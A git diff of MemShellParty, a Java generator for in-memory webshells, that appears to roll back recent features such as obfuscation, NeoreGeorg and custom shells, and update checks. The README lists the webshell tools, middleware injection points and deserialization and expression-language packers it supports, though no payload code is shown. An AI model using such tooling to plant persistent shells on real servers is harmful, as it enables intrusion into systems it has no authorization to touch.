docs: update CHANGELOG

test: default shrink enabled

.github/scripts/parse_changelog_of_version.py

@@ -21,15 +21,4 @@ if __name__ == '__main__':
     if not result_lines:
         print("Specified version not found.", file=sys.stderr)
         sys.exit(1)
-    result_lines.append("## 更新方式\n")
-    result_lines.append("### Docker 部署\n")
-    result_lines.append("```bash\n")
-    result_lines.append("docker rm -f memshell-party\n\n")
-    result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
-    result_lines.append("```\n")
-    result_lines.append("### Jar 包启动\n")
-    result_lines.append("> 仅支持 JDK17 及以上版本\n")
-    result_lines.append("```bash\n")
-    result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
-    result_lines.append("```\n")
     print("".join(result_lines).strip())

.github/workflows/dev-deploy.yaml

@@ -1,94 +0,0 @@
-name: "Dev Deploy"
-
-on:
-  push:
-    branches:
-      - dev
-    paths-ignore:
-      - 'docs/**'
-      - 'boot/**'
-      - 'web/**'
-      - '**.md'
-      - '**/*.png'
-
-jobs:
-  build-jar:
-    name: Build Jar
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-
-      - name: Setup Java
-        uses: actions/setup-java@v4
-        with:
-          distribution: 'temurin'
-          java-version: 17
-
-      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
-
-      - name: Setup Bun
-        uses: oven-sh/setup-bun@v2
-        with:
-          bun-version: latest
-
-      - name: Build Web with Bun
-        working-directory: web
-        run: bun install --frozen-lockfile && bun run build
-
-      - name: Build Boot with Gradle
-        run: ./gradlew -Pversion=dev :boot:bootjar -x test
-
-      - name: Upload Boot Jar
-        uses: actions/upload-artifact@v4
-        with:
-          name: boot
-          path: boot/build/libs/boot-dev.jar
-
-  docker-push:
-    name: Docker Push
-    needs: [ build-jar ]
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-
-      - name: Download Boot Jar
-        uses: actions/download-artifact@v4
-        with:
-          name: boot
-          path: boot/build/libs
-
-      - name: Login to Docker Hub
-        uses: docker/login-action@v3
-        with:
-          registry: docker.io
-          username: ${{ vars.DOCKERHUB_USERNAME }}
-          password: ${{ secrets.DOCKERHUB_TOKEN }}
-
-      - name: Set up QEMU
-        uses: docker/setup-qemu-action@v3
-      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
-
-      - name: Build and push
-        uses: docker/build-push-action@v6
-        with:
-          context: boot
-          platforms: linux/amd64,linux/arm64
-          push: true
-          tags: docker.io/reajason/memshell-party:dev
-
-  deploy-northflank:
-    name: Deploy to Northflank
-    needs: [ docker-push ]
-    runs-on: ubuntu-latest
-    env:
-      NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
-    steps:
-      - name: Update Deployment
-        run: |
-          curl --header "Content-Type: application/json" \
-               --header "Authorization: Bearer $NORTHFLANK_API_KEY" \
-               --request POST \
-               --data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
-               https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment

.github/workflows/release.yaml

@@ -15,6 +15,9 @@ jobs:
       changelog: ${{ steps.get_changelog.outputs.changelog }}
     steps:
       - uses: actions/checkout@v4
+      - uses: actions/setup-python@v5
+        with:
+          python-version: '3.13'
 
       - name: Get Version
         id: get_version
@@ -48,6 +51,11 @@ jobs:
       - name: Setup Gradle
         uses: gradle/actions/setup-gradle@v4
 
+      - name: Setup Node
+        uses: actions/setup-node@v4
+        with:
+          node-version: '23'
+
       - name: Setup Bun
         uses: oven-sh/setup-bun@v2
         with:

.gitignore

@@ -29,10 +29,6 @@ replay_pid*
 **/build/
 !src/**/build/
 
-**/bin/
-!**/src/main/**/bin/
-!**/src/test/**/bin/
-
 # Ignore Gradle GUI config
 gradle-app.setting
 

CHANGELOG.md

@@ -5,43 +5,11 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
-## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
-
-> 做代码生成以及代码混淆真是一件需要耐心的事情
-
-### Added
-
-- 支持自定义内存马生成（#49）by @ReaJason
-- 支持命令回显 ASM Agent 内存马（#51）by @ReaJason
-- 支持简易的代码混淆（#13）by @ReaJason
-- 支持自动发布 DEV 分支代码 CD
-
-### Changed
-
-- 简化 Jetty 获取 Context 代码
-- 优化 Dockerfile 减小镜像体积
-
-**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
-
-## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
-
-### Added
-
-- 支持 NeoreGeorg 内存马生成 by @ReaJason
-- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
-
-### Changed
-
-- 简化 Valve 内存马代码
-- 升级 Gradle 8.13
-
-**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
-
 ## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
 
 ### Added
 
-- 支持缩小字节码 (移除调试信息) by @ReaJason
+- 支持缩小字节码(移除调试信息) by @ReaJason
 - 支持 Tomcat Jakarta WebSocket
 
 ### Fixed

Dockerfile

@@ -35,9 +35,11 @@ WORKDIR /usr/src
 
 COPY --from=source /usr/src /usr/src
 
-COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
+COPY --from=frontend /usr/src/web/dist /usr/src/web/dist
 
-RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
+RUN set -ex && \
+    cd web && bash copy-build.sh && \
+    cd .. && ./gradlew -Pversion=${VERSION} :boot:bootjar -x test --no-daemon
 
 FROM eclipse-temurin:17.0.14_7-jre-noble
 
@@ -45,10 +47,11 @@ LABEL authors="ReaJason<[email protected]>"
 
 WORKDIR /app
 
-RUN groupadd -r spring && \
+COPY --from=backend /usr/src/boot/build/libs/*.jar app.jar
-    useradd -r -g spring spring
 
-COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
+RUN groupadd -r spring && \
+    useradd -r -g spring spring && \
+    chown spring:spring /app/app.jar
 
 USER spring:spring
 

README.md

@@ -17,9 +17,23 @@
 MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台，并且致力于打造内存马的全方位的学习平台。
 在遍地是轮子的时代，是时候造车，带着大伙加速冲冲冲了。
 
+MemShellParty 出现的原因有以下几个：
+
+1. 工作中有时候客户会有个别中间件的内存马测试需求，这个时候临时写一个太慢又太烦，在不忙的时候做一个工具，有需求就生成一个多好（之前用
+   Java Memshell Generator 生成一个 WAS 的内存马不能用，调了半天修好了）。
+2. 写 [Javassist](https://www.javassist.org/) 实在是太多了，字符串拼接的方式去弄方法 code
+   实在是看得眼睛疼，又不好维护，代码组织合理的话其实都可以，不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)
+   ，高封装提供的 API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快，而且很多中间件也自带依赖直接能打。
+3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
+   的出现确实帮大忙了，但是其极少的交互逻辑对于一个应用来说是难以接受的，刚好学习了前端对 UX 也感兴趣（对 Desktop
+   应用无感），必须得整一个玩玩。
+4. 因为对自动化测试特别感兴趣，刚好找到了 [Testcontainers](https://testcontainers.com/)
+   ，并且看了一圈武器化工具基本都是无测试的，所以尝试写写可行的集成测试分享分享，被测试包裹的代码，修改起来信心也大，同时也希望这个项目能长久发展。
+5. 特别多的师傅写了 Java 内存马相关的项目，不过都慢慢就不维护了（或者不公开代码了），我举手来整合一下，嘿嘿。
+
 希望你能从这个项目学会或尝试做的：
 
-1. 学会编写常见中间件框架的内存马。
+1. 学会编写常见中间件框架的内存马编写方式。
 2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
 3. 学会使用 GitHub Actions 编写 CI/CD，编写 CHANGELOG 并通过 CI 自动发布 Release。
 4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类，编写 Agent。
@@ -32,9 +46,9 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
 ## 主要特性
 
 - 无侵入性：生成的内存马不会影响目标中间件正常流量，即使同时注入十几个不同的内存马。
-- 高可用性：自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
+- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
-- 最小化：尽可能精简内存马大小，高效传输。
+- 最小化: 尽可能精简内存马大小，高效传输。
-- 强兼容性：覆盖攻防场景下常见中间件和框架。
+- 强兼容性: 覆盖攻防场景下常见中间件和框架。
 
 ## 快速使用
 
@@ -42,7 +56,7 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
 
 > 仅限尝鲜的小伙伴，对于其他暴露在公网的服务请谨慎使用，小心生成的内存马带后门
 
-可直接访问 https://party.memshell.news（搭建在 [Northflank](https://northflank.com/) US
+可直接访问 https://party.memshell.news （搭建在 [Northflank](https://northflank.com/) US
 节点上，访问较慢，Thanks [@xcxmiku](https://github.com/xcxmiku)），每次 Release 都会自动部署最新的镜像。
 
 ### 本地部署（推荐）
@@ -72,84 +86,7 @@ docker rm -f memshell-party
 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
 ```
 
-## 适配情况
+### 本地构建
-
-已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
-
-### 中间件以及框架
-
-| Tomcat（5 ~ 11）       | Jetty（6 ~ 11）          | GlassFish（3 ~ 7）     | Payara（5 ~ 6）        |
-|----------------------|------------------------|----------------------|----------------------|
-| Servlet              | Servlet                | Filter               | Filter               |
-| Filter               | Filter                 | Listener             | Listener             |
-| Listener             | Listener               | Valve                | Valve                |
-| Valve                | ServletHandler - Agent | FilterChain - Agent  | FilterChain - Agent  |
-| FilterChain - Agent  |                        | ContextValve - Agent | ContextValve - Agent |
-| ContextValve - Agent |                        |                      |                      |
-
-| Resin（3 ~ 4）        | SpringMVC                | SpringWebFlux   | XXL-JOB      |
-|---------------------|--------------------------|-----------------|--------------|
-| Servlet             | Interceptor              | WebFilter       | NettyHandler |
-| Filter              | ControllerHandler        | HandlerMethod   |              |
-| Listener            | FrameworkServlet - Agent | HandlerFunction |              |
-| FilterChain - Agent |                          | NettyHandler    |              |
-
-| JBossAS（4 ~ 7）       | JBossEAP（6 ~ 7）            | WildFly（9 ~ 30）        | Undertow               |
-|----------------------|----------------------------|------------------------|------------------------|
-| Filter               | Filter                     | Servlet                | Servlet                |
-| Listener             | Listener                   | Filter                 | Filter                 |
-| Valve                | Valve(6)                   | Listener               | Listener               |
-| FilterChain - Agent  | FilterChain - Agent (6)    | ServletHandler - Agent | ServletHandler - Agent |
-| ContextValve - Agent | ContextValve - Agent (6)   |                        |                        |
-|                      | ServletHandler - Agent (7) |                        |                        |
-
-| WebSphere（7 ~ 9）      | WebLogic （10.3.6  ~ 14） |
-|-----------------------|-------------------------|
-| Servlet               | Servlet                 |
-| Filter                | Filter                  |
-| Listener              | Listener                |
-| FilterManager - Agent | ServletContext - Agent  |
-
-| BES（9.5.x）           | TongWeb（6 ~ 7）       | InforSuite AS （9 ~ 10） | Apusic AS （9） |
-|----------------------|----------------------|------------------------|---------------|
-| Filter               | Filter               | Filter                 | Servlet       |
-| Listener             | Listener             | Listener               | Filter        |
-| Valve                | Valve                | Valve                  | Listener      |
-| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |               |
-| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |               |
-
-### 内存马功能
-
-- [x] Godzilla 哥斯拉
-- [x] Behinder 冰蝎
-- [x] 命令执行
-- [x] Suo5
-- [x] AntSword 蚁剑
-- [x] Neo-reGeorg
-- [x] Custom
-
-### 封装方式
-
-- [x] BASE64
-- [x] GZIP BASE64
-- [x] JSP
-- [x] JSPX
-- [x] JAR
-- [x] BCEL
-- [x] 内置脚本引擎、Rhino 脚本引擎
-- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
-- [x] Velocity、Freemarker、JinJava
-- [x] 原生反序列化（CB4）
-- [x] Agent
-- [x] XXL-JOB Executor
-- [x] Hessian、Hessian2 反序列化（XSLT链）
-- [ ] JNDI
-- [ ] JDBC 连接
-- [ ] 其他常见反序列化
-
-## 本地构建
-
-### 源代码构建
 
 > 适合想编写代码的小伙伴，使用 Git Clone 下载到本地，并构建前后端项目以供使用
 
@@ -209,7 +146,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
 ```bash
 # 基础构建
 docker buildx build \
-    --build-arg VERSION=1.6.0 \
+    --build-arg VERSION=1.3.1 \
     -t memshell-party:latest . --load
 
 # 基础镜像启动，访问 127.0.0.1:8080
@@ -217,7 +154,7 @@ docker run -it -d -p 8080:8080 memshell-party:latest
 
 # 自定义访问路径构建
 docker buildx build \
-    --build-arg VERSION=1.6.0 \
+    --build-arg VERSION=1.3.1 \
     --build-arg ROUTE_ROOT_PATH=/memshell-party \
     --build-arg CONTEXT_PATH=/memshell-party \
     -t memshell-party:latest . --load
@@ -249,6 +186,81 @@ location /memshell-party {
 }
 ```
 
+## 适配情况
+
+已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
+
+### 中间件以及框架
+
+| Tomcat（5 ~ 11）       | Jetty（6 ~ 11）          | GlassFish（3 ~ 7）     | Payara（5 ~ 6）        |
+|----------------------|------------------------|----------------------|----------------------|
+| Servlet              | Servlet                | Filter               | Filter               |
+| Filter               | Filter                 | Listener             | Listener             |
+| Listener             | Listener               | Valve                | Valve                |
+| Valve                | ServletHandler - Agent | FilterChain - Agent  | FilterChain - Agent  |
+| FilterChain - Agent  |                        | ContextValve - Agent | ContextValve - Agent |
+| ContextValve - Agent |                        |                      |                      |
+
+| Resin（3 ~ 4）        | SpringMVC                | SpringWebFlux   | XXL-JOB      |
+|---------------------|--------------------------|-----------------|--------------|
+| Servlet             | Interceptor              | WebFilter       | NettyHandler |
+| Filter              | ControllerHandler        | HandlerMethod   |              |
+| Listener            | FrameworkServlet - Agent | HandlerFunction |              |
+| FilterChain - Agent |                          | NettyHandler    |              |
+
+| JBossAS（4 ~ 7）       | JBossEAP（6 ~ 7）            | WildFly（9 ~ 30）        | Undertow               |
+|----------------------|----------------------------|------------------------|------------------------|
+| Filter               | Filter                     | Servlet                | Servlet                |
+| Listener             | Listener                   | Filter                 | Filter                 |
+| Valve                | Valve(6)                   | Listener               | Listener               |
+| FilterChain - Agent  | FilterChain - Agent (6)    | ServletHandler - Agent | ServletHandler - Agent |
+| ContextValve - Agent | ContextValve - Agent (6)   |                        |                        |
+|                      | ServletHandler - Agent (7) |                        |                        |
+
+| WebSphere（7 ~ 9）      | WebLogic （10.3.6  ~ 14） |
+|-----------------------|-------------------------|
+| Servlet               | Servlet                 |
+| Filter                | Filter                  |
+| Listener              | Listener                |
+| FilterManager - Agent | ServletContext - Agent  |
+
+| BES（9.5.x）           | TongWeb（6 ~ 7）       | InforSuite AS （9 ~ 10） | Apusic AS （9） |
+|----------------------|----------------------|------------------------|---------------|
+| Filter               | Filter               | Filter                 | Servlet       |
+| Listener             | Listener             | Listener               | Filter        |
+| Valve                | Valve                | Valve                  | Listener      |
+| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |               |
+| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |               |
+
+### 内存马功能
+
+- [x] Godzilla 哥斯拉
+- [x] Behinder 冰蝎
+- [x] 命令执行
+- [x] Suo5
+- [x] AntSword 蚁剑
+- [ ] Neo-reGeorg
+- [ ] Custom
+
+### 封装方式
+
+- [x] BASE64
+- [x] GZIP BASE64
+- [x] JSP
+- [x] JSPX
+- [x] JAR
+- [x] BCEL
+- [x] 内置脚本引擎、Rhino 脚本引擎
+- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
+- [x] Velocity、Freemarker、JinJava
+- [x] 原生反序列化（CB4）
+- [x] Agent
+- [x] XXL-JOB Executor
+- [x] Hessian、Hessian2 反序列化（XSLT链）
+- [ ] JNDI
+- [ ] JDBC 连接
+- [ ] 其他常见反序列化
+
 ## How
 
 1. 如何使用 bytebuddy 生成类，为属性赋值，添加方法，指定位置调用方法？（**WIP**）

asserts/neoreg/Dockerfile

@@ -1,9 +0,0 @@
-FROM python:3.12-slim
-
-WORKDIR /app
-
-RUN pip install requests
-
-COPY neoreg.py .
-
-CMD ["tail", "-f", "/dev/null"]

bom/build.gradle

@@ -5,8 +5,6 @@ plugins {
 dependencies {
     constraints {
         api 'net.bytebuddy:byte-buddy:1.+'
-        api 'org.ow2.asm:asm-commons:9.7.1'
-        api 'com.github.jar-analyzer:class-obf:1.5.0'
 
         api 'javax.servlet:javax.servlet-api:3.0.1'
         api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
@@ -21,6 +19,7 @@ dependencies {
         api 'commons-codec:commons-codec:1.+'
         api 'ch.qos.logback:logback-classic:1.+'
 
+        api 'xalan:xalan:2.7.0'
         api 'org.apache.bcel:bcel:5.2'
 
         api 'org.java-websocket:Java-WebSocket:1.5.7'
@@ -29,8 +28,7 @@ dependencies {
 
         api 'org.jetbrains:annotations:26.0.1'
 
-        api 'org.mockito:mockito-core:5.15.2'
+        api "org.mockito:mockito-core:5.15.2"
-        api 'org.mockito:mockito-junit-jupiter:5.15.2'
         api 'org.hamcrest:hamcrest:3.0'
         api 'org.junit:junit-bom:5.11.4'
         api 'org.testcontainers:testcontainers:1.20.5'

boot/Dockerfile

@@ -4,10 +4,11 @@ LABEL authors="ReaJason<[email protected]>"
 
 WORKDIR /app
 
-RUN groupadd -r spring && \
+COPY build/libs/*.jar app.jar
-    useradd -r -g spring spring
 
-COPY --chown=spring:spring build/libs/*.jar app.jar
+RUN groupadd -r spring && \
+    useradd -r -g spring spring && \
+    chown spring:spring /app/app.jar
 
 USER spring:spring
 

boot/src/main/java/com/reajason/javaweb/boot/config/WebConfig.java

@@ -1,21 +0,0 @@
-package com.reajason.javaweb.boot.config;
-
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.http.client.SimpleClientHttpRequestFactory;
-import org.springframework.web.client.RestTemplate;
-
-/**
- * @author ReaJason
- */
-@Configuration
-public class WebConfig {
-
-    @Bean
-    public RestTemplate restTemplate() {
-        SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
-        factory.setConnectTimeout(3000);
-        factory.setReadTimeout(3000);
-        return new RestTemplate(factory);
-    }
-} 

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

@@ -1,16 +1,17 @@
 package com.reajason.javaweb.boot.controller;
 
 import com.reajason.javaweb.boot.entity.Config;
-import com.reajason.javaweb.memshell.Packers;
+import com.reajason.javaweb.memshell.server.AbstractShell;
 import com.reajason.javaweb.memshell.Server;
 import com.reajason.javaweb.memshell.ShellTool;
-import com.reajason.javaweb.memshell.server.AbstractShell;
+import com.reajason.javaweb.memshell.Packers;
 import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.CrossOrigin;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 
 import java.util.*;
+import java.util.stream.Collectors;
 
 /**
  * @author ReaJason
@@ -28,8 +29,9 @@ public class ConfigController {
             if (shell == null) {
                 continue;
             }
+            ShellTool[] supportedShellTools = ShellTool.values();
             Map<String, Set<String>> map = new LinkedHashMap<>(16);
-            for (ShellTool shellTool : shell.getSupportedShellTools()) {
+            for (ShellTool shellTool : supportedShellTools) {
                 Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
                 if (supportedShellTypes.isEmpty()) {
                     continue;
@@ -39,14 +41,12 @@ public class ConfigController {
             coreMap.put(value.name(), map);
         }
         Config config = new Config();
-        Map<String, List<String>> servers = new LinkedHashMap<>();
+        config.setServers(
-        for (Server server : Server.values()) {
+                Arrays.stream(Server.values())
-            if (server.getShell() != null) {
+                        .filter(s -> s.getShell() != null)
-                Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
+                        .map(Server::name)
-                servers.put(server.name(), supportedShellTypes.stream().toList());
+                        .collect(Collectors.toList())
-            }
+        );
-        }
-        config.setServers(servers);
         config.setCore(coreMap);
         config.setPackers(
                 Arrays.stream(Packers.values())

boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java

@@ -1,20 +1,10 @@
 package com.reajason.javaweb.boot.controller;
 
-import com.reajason.javaweb.boot.entity.VersionInfo;
 import org.springframework.beans.factory.annotation.Value;
-import org.springframework.core.ParameterizedTypeReference;
-import org.springframework.http.HttpMethod;
-import org.springframework.http.HttpStatus;
-import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.CrossOrigin;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
-import org.springframework.web.client.RestTemplate;
-import org.thymeleaf.util.StringUtils;
-
-import java.util.List;
-import java.util.Map;
 
 /**
  * @author ReaJason
@@ -26,66 +16,10 @@ import java.util.Map;
 public class VersionController {
 
     @Value("${spring.application.version}")
-    private String version;
+    String version;
-
-    private final RestTemplate restTemplate;
-
-    public VersionController(RestTemplate restTemplate) {
-        this.restTemplate = restTemplate;
-    }
 
     @GetMapping
-    public VersionInfo version() {
+    public String version() {
-        if ("dev".equals(version)) {
-            return VersionInfo.builder()
-                    .currentVersion(version)
-                    .latestVersion(version).build();
-        }
-        String latestVersion = getLatestGithubRelease();
-        return VersionInfo.builder()
-                .currentVersion(version)
-                .latestVersion(latestVersion)
-                .hasUpdate(!StringUtils.equals(version, latestVersion))
-                .build();
-    }
-
-    private String getLatestGithubRelease() {
-        try {
-            String latestVersion = tryFetchRelease("https://api.github.com");
-            if (latestVersion != null) {
-                return latestVersion;
-            }
-            latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
-            if (latestVersion != null) {
-                return latestVersion;
-            }
-        } catch (Exception ignored) {
-        }
         return version;
     }
-
-    private String tryFetchRelease(String baseUrl) {
-        String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
-
-        ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
-                apiUrl,
-                HttpMethod.GET,
-                null,
-                new ParameterizedTypeReference<>() {
-                }
-        );
-        if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
-            List<Map<String, Object>> body = response.getBody();
-            for (Map<String, Object> map : body) {
-                String targetCommitish = (String) map.get("target_commitish");
-                Boolean prerelease = (Boolean) map.get("prerelease");
-                Boolean draft = (Boolean) map.get("draft");
-                if ("master".equals(targetCommitish) && !prerelease && !draft) {
-                    String tagName = (String) map.get("name");
-                    return tagName.startsWith("v") ? tagName.substring(1) : tagName;
-                }
-            }
-        }
-        return null;
-    }
 }

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.boot.dto;
 
-import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.*;
+import com.reajason.javaweb.memshell.Packers;
 import lombok.Data;
 
 /**
@@ -25,7 +25,6 @@ public class GenerateRequest {
         private String antSwordPass;
         private String headerName;
         private String headerValue;
-        private String shellClassBase64;
     }
 
     public ShellToolConfig parseShellToolConfig() {
@@ -52,21 +51,12 @@ public class GenerateRequest {
                     .headerName(shellToolConfig.getHeaderName())
                     .headerValue(shellToolConfig.getHeaderValue())
                     .build();
-            case AntSword -> AntSwordConfig.builder()
+            case AntSword ->  AntSwordConfig.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .pass(shellToolConfig.getAntSwordPass())
                     .headerName(shellToolConfig.getHeaderName())
                     .headerValue(shellToolConfig.getHeaderValue())
                     .build();
-            case NeoreGeorg -> NeoreGeorgConfig.builder()
-                    .shellClassName(shellToolConfig.getShellClassName())
-                    .headerName(shellToolConfig.getHeaderName())
-                    .headerValue(shellToolConfig.getHeaderValue())
-                    .build();
-            case Custom -> CustomConfig.builder()
-                    .shellClassBase64(shellToolConfig.getShellClassBase64())
-                    .shellClassName(shellToolConfig.getShellClassName())
-                    .build();
             default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
         };
     }

boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java

@@ -11,7 +11,7 @@ import java.util.Map;
  */
 @Data
 public class Config {
-    private Map<String, List<String>> servers;
+    private List<String> servers;
     private Map<String, Map<?, ?>> core;
     private List<String> packers;
 }

boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java

@@ -1,15 +0,0 @@
-package com.reajason.javaweb.boot.entity;
-
-import lombok.Data;
-import lombok.Builder;
-
-/**
- * @author ReaJason
- */
-@Data
-@Builder
-public class VersionInfo {
-    private String currentVersion;
-    private String latestVersion;
-    private boolean hasUpdate;
-} 

build.gradle

@@ -12,6 +12,10 @@ allprojects {
             implementation platform(project(':bom'))
         }
     }
+
+    repositories {
+        mavenCentral()
+    }
 }
 
 idea {

common/build.gradle

@@ -12,7 +12,6 @@ java {
 
 dependencies {
     implementation 'net.bytebuddy:byte-buddy'
-    implementation 'org.ow2.asm:asm-commons'
     implementation 'commons-io:commons-io'
     implementation 'org.apache.commons:commons-lang3'
     implementation 'commons-codec:commons-codec'

common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java

@@ -13,7 +13,7 @@ public class ClassBytesShrink {
 
     public static byte[] shrink(byte[] bytes, boolean full) {
         ClassReader cr = new ClassReader(bytes);
-        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
+        ClassWriter cw = new ClassWriter(0);
         ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
             @Override
             public void visitSource(String source, String debug) {

common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java

@@ -1,53 +0,0 @@
-package com.reajason.javaweb.asm;
-
-import org.objectweb.asm.ClassReader;
-import org.objectweb.asm.ClassWriter;
-import org.objectweb.asm.commons.ClassRemapper;
-import org.objectweb.asm.commons.Remapper;
-import org.objectweb.asm.commons.SimpleRemapper;
-
-/**
- * @author ReaJason
- * @since 2025/3/29
- */
-public class ClassRenameUtils {
-
-    public static byte[] renameClass(byte[] classBytes, String newName) {
-        ClassReader reader = null;
-        try {
-            reader = new ClassReader(classBytes);
-        } catch (Exception e) {
-            throw new RuntimeException("invalid class bytes");
-        }
-        String oldClassName = reader.getClassName();
-        String newClassName = newName.replace('.', '/');
-        ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
-        ClassRemapper adapter = new ClassRemapper(writer, new SimpleRemapper(oldClassName, newClassName));
-        reader.accept(adapter, 0);
-        return writer.toByteArray();
-    }
-
-    public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
-        ClassReader reader = null;
-        try {
-            reader = new ClassReader(classBytes);
-        } catch (Exception e) {
-            throw new RuntimeException("invalid class bytes");
-        }
-        String oldClassName = relocateClassPackage.replace('.', '/');
-        String newClassName = relocatePrefix.replace('.', '/');
-        ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
-        ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
-            @Override
-            public String map(String typeName) {
-                if (typeName.startsWith(oldClassName)) {
-                    return typeName.replaceFirst(oldClassName, newClassName);
-                } else {
-                    return typeName;
-                }
-            }
-        });
-        reader.accept(adapter, 0);
-        return writer.toByteArray();
-    }
-}

common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java

@@ -1,70 +0,0 @@
-package com.reajason.javaweb.asm;
-
-import lombok.Getter;
-import org.objectweb.asm.ClassReader;
-import org.objectweb.asm.ClassVisitor;
-import org.objectweb.asm.Opcodes;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.HashSet;
-import java.util.Set;
-
-public class InnerClassDiscovery {
-
-    /**
-     * Discovers all inner classes for a given class
-     *
-     * @param originalClass The class to discover inner classes for
-     * @return A set of fully qualified inner class names
-     */
-    public static Set<String> findAllInnerClasses(Class<?> originalClass) throws IOException {
-        Set<String> innerClasses;
-        String resourceName = originalClass.getName().replace('.', '/') + ".class";
-        try (InputStream is = originalClass.getClassLoader().getResourceAsStream(resourceName)) {
-            if (is == null) {
-                throw new IOException("Could not find class file for " + originalClass.getName());
-            }
-
-            ClassReader reader = new ClassReader(is);
-            InnerClassCollector collector = new InnerClassCollector(originalClass.getName());
-            reader.accept(collector, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
-
-            innerClasses = new HashSet<>(collector.getInnerClasses());
-        }
-        try {
-            for (Class<?> innerClass : originalClass.getDeclaredClasses()) {
-                innerClasses.add(innerClass.getName());
-                innerClasses.addAll(findAllInnerClasses(innerClass));
-            }
-        } catch (SecurityException ignored) {
-        }
-
-        return innerClasses;
-    }
-
-    private static class InnerClassCollector extends ClassVisitor {
-        private final String originalClassName;
-        @Getter
